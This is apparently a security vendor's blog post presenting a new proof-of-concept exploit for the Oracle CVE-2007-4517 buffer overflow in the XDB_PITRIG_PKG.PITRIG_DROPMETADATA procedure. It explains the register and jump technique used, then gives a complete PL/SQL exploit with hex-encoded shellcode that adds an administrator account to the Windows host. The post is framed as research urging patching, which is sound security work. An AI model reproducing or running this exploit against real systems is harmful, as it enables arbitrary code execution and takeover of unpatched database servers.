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New exploit to Oracle CVE-2007-4517 vulnerability

November 2nd, 2011

Summary

As part of GreenSQL’s Database security research,  we’ve been validating and extending coverage of known and unknown vulnerabilities in order to increase GreenSQL product security, at this post we will reveal a full working Prove of Concept for the CVE-2007-4517 vulnerability which executes arbitrary code.

The Exploit: PL/SQL/2007-4517 exploit is a PL/SQL procedure that exploits the CVE-2007-4517 vulnerability, also known as Oracle Database XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA Procedure Multiple Argument Remote Overflow.

The vulnerability is caused due to a boundary error in the XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA procedure when processing the OWNER and NAME arguments to create an SQL query.

This can be exploited to cause a buffer overflow by passing overly long OWNER and NAME arguments to the affected procedure.

Symptoms

System Changes:
•    New administrative user account.
(Username: GreenSQL, Password:GreenSQL)
•    OracleServiceXE service turns off.

Technical Information
The exploits has been tested on:
• Windows XP Professional SP3.
• Oracle Database 10g Express Edition.

All the known exploits and POC’s developed for this vulnerability so far are Denial-of-Service exploits.

This is a New exploit that actually executes arbitrary code and adds a new user account to the database host operating system.

The Exploit

The PL/SQL procedure calls to the xDb.XDB_PITRIG_PKG.PITRIG_DROPMETADATA() function with two arguments:
1. “123”.
2. Buffer (2305 bytes)

The buffer consists of payload, jmp instructions, arithmetic instructions and garbage.

When executing the code, the EBX contains the starting address of the buffer + 0x7A5.

In order to execute the payload in the buffer, the following steps needs to be performed:
1. The EIP should point to an address contains the jmp EBX instruction.
2. At the [EBX] address, the exploit needs to jmp -0x7A5 to the start of the buffer.

Jumping to EBX
In order to jump to the address in the EBX register, the EIP should be set to 0x 095F7160.

Jumping to the Payload
In order to execute the payload, the following instructions needs to be performed:
sub ebx, 0x7a5
jmp ebx

The opcodes of the first instruction are:
0×81, 0xEB, 0xA5, 0×07, 0×00, 0×00.
One of the limitations of HEXTORAW() function, is that it’s not able to deal with 0×00 characters.
Because of that reason, instead of using the sub ebx, 0x7a5 instruction, the following instructions need to be performed:
sub bl,0xb0
add bh,0xfa
jmp ebx

Which are equivalent to:
sub ebx, 0x5b0
jmp ebx

Which is equivalent to jmp ebx-0x5b0.

The opcodes of those instructions are:
0×80, 0xEB, 0xB0, 0×80, 0xC7, 0xFA, 0xFF, 0xE3, which are able to be processed by the HEXTORAW() function.

The Payload

The payload’s size is 308 bytes (of 0x7A5-0x5B0 = 0x1F5 = 501 payload’s space)

The payload creates a new user account, called “GreenSQL”, with the password “GreenSQL”.
After creating the user account, it adds the user to the “Administrators” group.

The exploit code is available below.

Conclusions

It’s extremely important to make sure that you have updated your Database with the latest patches and security updates the database vendor has released, this prove of concept shows how it’s possible to gain control over your database host operating system using older vulnerability, which with extended research can be transformed to a new exploit.

Database security solutions, like GreenSQL, provides additional layer of defense against known and unknown attacks.

The Exploit POC

#################################################
## GreenSQL   ########    Proof-of-Concept     ##
## This code is for educational purposes only  ##
#################################################
declare
 sc varchar2(32767);
 junk varchar2(32767);
 junk2 varchar2(32767);
 EBX varchar2(32767);
 junk3 varchar2(32767);
 JMP2SC varchar2(32767);
 junk4 varchar2(32767);
 EIP varchar2(32767);
 junk5 varchar2(32767);
 begin
 junk:='@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';
 sc:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('d9c6bd60dd3d66d9742
 4f45b31c9b147316b18036b1883c3643fc89a8c36'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('33634c29bd8
 67d7bd9c32f4ba986c320ff3250442834d1e30e7be2c58ed72047732a7
 4a74ae589a68b1861fa4456d3ebe12aef0a26214f7543f63bcf4a27934
 404df9803b5de4d5089a9fa'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('a379282afa8
 21a1251bd929fabf9157fdef16502d9c114d86cd4bfabd73c417881b74
 d35c59051c80aab6e41ad7ce7118a58a3c2b3f909a5cc1af51a6950144
 f0b3b738e99413a90a1496df890c2e27f2d01478f6708ee072ed8b24ad
 136f07252b389814ab68ccecc'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('2afd5fb94c5
 260e82e39fa3dd4b967623959470c20e9a7a5d974d56559057c030bba2
 f87f37bbd7291ed122c15d2bb8fe156e329cc768d5064573df4e7f6d16
 d9a975c027a29fa8f13c76b2390650ab737f8bf178f8e5a3d613cf5f15
 dedb44ddaf1'));
 junk2:='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 EBX:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('EB10')) || 'CCCCC';
 junk3:= 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE';
 JMP2SC:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('80EBB080C7FAFFE3'));
 junk4:='@@@@@@@@@@@@@@@@@@@@@@@@';
 EIP:= UTL_RAW.CAST_TO_varchar2(HEXTORAW('095f7160095f7160095f71
 60095f7160095f7160095f7160095f7160095f7160095f7160')); -- jmp EBX
 junk5:='CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC';
 xDb.XDB_PITRIG_PKG.PITRIG_DROPMETADATA('123', junk||sc||junk2||EBX
 ||junk3||JMP2SC||junk4||EIP||junk5);
 end;

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